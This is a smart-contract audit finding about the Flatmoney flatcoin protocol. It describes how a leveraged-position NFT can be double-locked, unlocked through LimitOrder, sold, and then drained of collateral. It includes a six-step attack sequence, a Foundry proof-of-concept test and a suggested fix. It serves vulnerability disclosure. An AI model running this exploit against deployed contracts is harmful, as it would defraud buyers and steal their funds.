Large Pebble Goldfish

high

# User can unlock NFTs and withdraw collateral from a leveraged position that they do not own.

## Summary

Attacker can trick other users and steal their funds.

## Vulnerability Detail

User is able to unlock locked leveraged position. Then he could sell this NFT to other user. After transfering the ownership of the position user can withdraw all of the collateral, leaving buyer with nothing. It is possible due to the fact that the NFT can be locked even when it has been locked before. Attacker can unlock it using `LimitOrder` contract and transfer it to another user while having an active order in `DelayedOrder` contract.

To achive that, attacker has to:

1. Create and fund the position: `announceLeverageOpen`.
https://github.com/sherlock-audit/2023-12-flatmoney/blob/bba4f077a64f43fbd565f8983388d0e985cb85db/flatcoin-v1/src/DelayedOrder.sol#L160-L209

2. Call `announceLeverageClose` which locks the NFT. 
https://github.com/sherlock-audit/2023-12-flatmoney/blob/bba4f077a64f43fbd565f8983388d0e985cb85db/flatcoin-v1/src/DelayedOrder.sol#L361

3. Call `announceLimitOrder` in `LimitOrder` which locks the NFT again.
https://github.com/sherlock-audit/2023-12-flatmoney/blob/bba4f077a64f43fbd565f8983388d0e985cb85db/flatcoin-v1/src/LimitOrder.sol#L76

4. Call `cancelLimitOrder` in `LimitOrder` which unlocks the NFT.
https://github.com/sherlock-audit/2023-12-flatmoney/blob/bba4f077a64f43fbd565f8983388d0e985cb85db/flatcoin-v1/src/LimitOrder.sol#L94

5. Sell it to other user.

6. After required time has passed user can execute the `announceLeverageClose` order and get back collateral from position.
https://github.com/sherlock-audit/2023-12-flatmoney/blob/bba4f077a64f43fbd565f8983388d0e985cb85db/flatcoin-v1/src/DelayedOrder.sol#L378-L410

```solidity
function _lock(uint256 tokenId) internal virtual {
        _isLocked[tokenId] = true;

        emit Locked(tokenId);
    }
```

`DelayedOrder` and `LimitOrder` have seperate state variables to hold users "orders". Functions do not check if the NFT is locked. This allows user to create orders locking NFT twice and unlocking it, to send it to other user.

`mapping(address account => FlatcoinStructs.Order order) private _announcedOrder;`

`mapping(uint256 tokenId => FlatcoinStructs.Order order) internal _limitOrderClose;`

`------------------------------PoC------------------------------`

Add this file to `test/unit` folder and run test.

```solidity
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.18;

import {LimitOrder} from "src/LimitOrder.sol";
import {FlatcoinStructs} from "src/libraries/FlatcoinStructs.sol";
import {FlatcoinErrors} from "src/libraries/FlatcoinErrors.sol";
import {ExpectRevert} from "../helpers/ExpectRevert.sol";
import {OrderHelpers} from "../helpers/OrderHelpers.sol";

import "forge-std/console2.sol";

contract PoC is OrderHelpers, ExpectRevert {
    uint256 tokenId;
    uint256 keeperFee;

    function getPriceUpdateDataa(uint256 price) public view returns (bytes[] memory priceUpdateData) {
        // price = price / 1e10;

        priceUpdateData = new bytes[](1);
        priceUpdateData[0] = mockPyth.createPriceFeedUpdateData(
            0xff61491a931112ddf1bd8147cd1b641375f79f5825126d665480874634fd0ace,
            int64(uint64(price)),
            uint64(price) / 10_000,
            -8,
            int64(uint64(price)),
            uint64(price) / 10_000,
            uint64(block.timestamp)
        );
    }

    function test_poc() public {
        super.setUp();

        uint256 stableDeposit = 100e18;
        uint256 collateralPrice = 1000e8;
        keeperFee = mockKeeperFee.getKeeperFee();

        announceAndExecuteDeposit({
            traderAccount: alice,
            keeperAccount: keeper,
            depositAmount: stableDeposit,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });

        announceAndExecuteLeverageOpen({
            traderAccount: alice,
            keeperAccount: keeper,
            margin: 10e18,
            additionalSize: 10e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });

        tokenId = announceAndExecuteLeverageOpen({
            traderAccount: bob,
            keeperAccount: keeper,
            margin: 10e18,
            additionalSize: 10e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });

        announceCloseLeverage({traderAccount: bob, tokenId: tokenId, keeperFeeAmount: 0});

        vm.startPrank(bob);

        limitOrderProxy.announceLimitOrder({
            tokenId: tokenId,
            priceLowerThreshold: 900e18,
            priceUpperThreshold: 1100e18
        });

        limitOrderProxy.cancelLimitOrder(tokenId);

        leverageModProxy.transferFrom(address(bob), address(carol), tokenId);

        vm.stopPrank();

        skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time

        bytes[] memory priceUpdateData = getPriceUpdateDataa(collateralPrice);

        vm.startPrank(alice);

        console2.log("Owner of NFT");
        console2.log(leverageModProxy.ownerOf(tokenId));
        console2.log("Attacker address");
        console2.log(address(bob));

        delayedOrderProxy.executeOrder{value: 1}(address(bob), priceUpdateData);

        vm.expectRevert("ERC721: invalid token ID");
        leverageModProxy.ownerOf(tokenId);
    }
}
```

Attacker will withdraw collateral from position, even though he is not the owner of the NFT. The real NFT owner will have his token burnt.

## Impact

User can unlock locked NFT and withdraw funds from position he does not own anymore.

## Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/misc/ERC721LockableEnumerableUpgradeable.sol#L32-L36

## Tool used

Manual Review

## Recommendation

To fix this issue the protocol could add this check to the `lock` function in `ERC721LockableEnumerableUpgradeable` contract:

https://github.com/sherlock-audit/2023-12-flatmoney/blob/bba4f077a64f43fbd565f8983388d0e985cb85db/flatcoin-v1/src/misc/ERC721LockableEnumerableUpgradeable.sol#L32-L36

```solidity
function _lock(uint256 tokenId) internal virtual {
+        if(_isLocked[tokenId] == true) revert("Position already locked");
        _isLocked[tokenId] = true;

        emit Locked(tokenId);
    }
```

It will prevent users from creating a limit order and delayed order simultaneously.
